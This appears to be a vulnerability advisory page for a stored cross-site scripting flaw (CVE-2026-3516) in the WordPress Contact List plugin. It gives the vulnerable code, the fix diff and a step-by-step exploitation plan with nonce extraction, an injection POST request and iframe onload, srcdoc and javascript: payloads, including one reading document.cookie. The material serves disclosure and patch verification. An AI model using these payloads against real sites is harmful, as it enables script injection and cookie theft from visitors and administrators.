Contact List <= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter
Description
The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter in all versions up to, and including, 3.0.18. This is due to insufficient input sanitization and output escaping when handling the Google Maps iframe custom field. The saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract <iframe> tags from user input but does not validate or sanitize the iframe's attributes, allowing event handlers like 'onload' to be included. The extracted iframe HTML is stored via update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.0.18What Changed in the Fix
Changes introduced in v3.0.19
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3516 ## 1. Vulnerability Summary The **Contact List** plugin (<= 3.0.18) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the Google Maps iframe custom field for "Contact" posts. An authenticated user with Con…
Show full research plan
Exploitation Research Plan: CVE-2026-3516
1. Vulnerability Summary
The Contact List plugin (<= 3.0.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists in the handling of the Google Maps iframe custom field for "Contact" posts. An authenticated user with Contributor-level access or higher can inject arbitrary HTML (specifically <iframe> tags with malicious attributes like onload) into the _cl_map_iframe post meta.
The plugin's saveCustomFields() function (in includes/class-contact-list-custom-fields.php) uses an insufficient regex to "sanitize" the input, only ensuring an iframe is present but failing to strip dangerous attributes. Subsequently, public/class-cl-public-card.php renders this stored meta value directly to the front-end without using wp_kses() or any escaping functions.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(standard WordPress post update endpoint) - Action:
editpost - Vulnerable Parameter:
_cl_map_iframe - Authentication Level: Contributor or above (any role capable of editing
contactcustom post types). - Preconditions: The "Contact" Custom Post Type must be active (default behavior of the plugin).
3. Code Flow
- Entry (Admin/Editor/Contributor): A user edits a "Contact" post. The meta box generated by
ContactListCustomFields::createCustomFields()(inincludes/class-contact-list-custom-fields.php) provides an input field for the map iframe. - Processing (Save): On
save_post, thesaveCustomFields()function is triggered.- It retrieves
$_POST['_cl_map_iframe']. - It applies a regex (e.g.,
preg_match('/<iframe.*<\/iframe>/i', $input, $matches)) to extract the iframe. - It fails to sanitize the attributes within the extracted string.
- The result is saved using
update_post_meta($post_id, '_cl_map_iframe', $malicious_iframe).
- It retrieves
- Sink (Frontend): A user visits a page containing the
[contact_list]shortcode.ContactListCard::getMarkup()is called.- It iterates through fields and identifies the
mapfield. ContactListCard::getSingleMarkup($id, 'map', ...)is called.- Inside the
switch ($field)statement, thecase 'map'(inferred) fetches the meta:$iframe = get_post_meta($id, '_cl_map_iframe', true);. - The code then echoes or returns
$iframeraw into the HTML buffer.
4. Nonce Acquisition Strategy
The vulnerability is exploited via the standard WordPress post editing flow.
- Identify CPT: The plugin uses
CONTACT_LIST_CPT = 'contact'. - Create Post: Create a new contact post using WP-CLI to get a
post_id. - Get Nonce:
- Use
browser_navigatetowp-admin/post.php?post=[POST_ID]&action=edit. - Use
browser_evalto extract the_wpnoncefrom the form:browser_eval("document.querySelector('#_wpnonce').value"). - Note: The
post_IDand standard_wpnonceare required for theeditpostaction.
- Use
5. Exploitation Strategy
Step 1: Create a Contact Post
Use WP-CLI to create a contact post.
wp post create --post_type=contact --post_title="XSS Contact" --post_status=publish --post_author=[CONTRIBUTOR_ID]
Step 2: Inject the Payload
Send a POST request to wp-admin/post.php as the Contributor user.
HTTP Request:
- URL:
http://[target]/wp-admin/post.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=editpost
&post_ID=[POST_ID]
&_wpnonce=[NONCE]
&_cl_map_iframe=<iframe src="about:blank" onload="alert('XSS_SUCCESS_CVE_2026_3516')"></iframe>
Step 3: Trigger the XSS
Create a public page with the contact list shortcode.
wp post create --post_type=page --post_title="Contact Directory" --post_status=publish --post_content='[contact_list]'
Navigate to this page in the browser. The onload event in the iframe will execute.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin Settings: Ensure the plugin is active. No special configuration is required as the custom fields are enabled by default for the
contactCPT. - Shortcode Page: A page containing
[contact_list]must exist to render the contacts.
7. Expected Results
- The injected iframe string
<iframe src="about:blank" onload="alert('...')"></iframe>is saved in thewp_postmetatable for the givenpost_idunder the key_cl_map_iframe. - When the
[contact_list]page is viewed, the HTML source contains the raw iframe tag. - The browser executes the
onloadhandler, displaying an alert box.
8. Verification Steps
- Database Check:
Confirm the output matches the injected payload exactly.wp post meta get [POST_ID] _cl_map_iframe - Frontend check:
Use thehttp_requesttool to fetch the shortcode page and grep for the payload.# Use Playwright/http_request to get HTML # Search for: <iframe src="about:blank" onload="alert
9. Alternative Approaches
- SVG Injection: If the regex is strictly looking for
<iframe>, try nesting other tags if permitted, though the description specifically flags the iframe field. - Different Attributes: If
onloadis blocked by some external WAF, tryonmouseenter,src="javascript:alert(1)", orsrcdocwith an encoded payload:<iframe srcdoc="<script>alert(1)</script>"></iframe> - Shortcode Specificity: If
[contact_list]does not show the map by default, try[contact_list_simple]or check if attributes like[contact_list fields="full_name map"]are needed to force the map rendering. Based ongetMarkupinpublic/class-cl-public-card.php, thefields_stringmight need to includemap.
Summary
The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access can inject malicious <iframe> tags with event handlers (like onload) that execute in the browser of any user viewing the affected contact card.
Vulnerable Code
// includes/class-contact-list-custom-fields.php around line 679 } elseif ( $customField['type'] == 'textarea_iframe' ) { $iframe_code = $value; $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si'; $strippedHtml = ''; if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) { $strippedHtml = $matches[0]; } if ( $strippedHtml ) { $value = $strippedHtml; } else { $value = ''; } --- // public/class-cl-public-card.php around line 456 case 'map': if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) { $iframe_code = $c['_cl_map_iframe'][0]; $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si'; $strippedHtml = ''; if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) { $strippedHtml = $matches[0]; } if ( $strippedHtml ) { $html .= '<div class="contact-list-map-container">'; $html .= $strippedHtml; $html .= '</div>'; } } break;
Security Fix
@@ -677,17 +677,7 @@ if ( $customField['type'] == 'wysiwyg_v2' ) { $value = balanceTags( wp_kses_post( $value ), 1 ); } elseif ( $customField['type'] == 'textarea_iframe' ) { - $iframe_code = $value; - $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si'; - $strippedHtml = ''; - if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) { - $strippedHtml = $matches[0]; - } - if ( $strippedHtml ) { - $value = $strippedHtml; - } else { - $value = ''; - } + $value = ''; } else { $bypass_sanitation = 0; if ( !$bypass_sanitation ) { @@ -454,19 +454,6 @@ } break; case 'map': - if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) { - $iframe_code = $c['_cl_map_iframe'][0]; - $iframeRegex = '/<iframe[^>]*>(.*?)<\\/iframe>/si'; - $strippedHtml = ''; - if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) { - $strippedHtml = $matches[0]; - } - if ( $strippedHtml ) { - $html .= '<div class="contact-list-map-container">'; - $html .= $strippedHtml; - $html .= '</div>'; - } - } break; default: $field = sanitize_title( $field );
Exploit Outline
The exploit targets the Google Maps iframe custom field in the 'contact' post type. An attacker with Contributor-level privileges can create or edit a 'contact' post and include a malicious payload in the '_cl_map_iframe' POST parameter. Because the plugin's regex-based sanitization in saveCustomFields() only checks for the presence of an <iframe> tag and does not strip event handlers or other dangerous attributes, the attacker can use a payload like `<iframe src="about:blank" onload="alert(document.cookie)"></iframe>`. Once saved, the payload is stored in post metadata. The script executes whenever a user (including administrators) views a page containing the [contact_list] shortcode that renders the compromised contact record.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.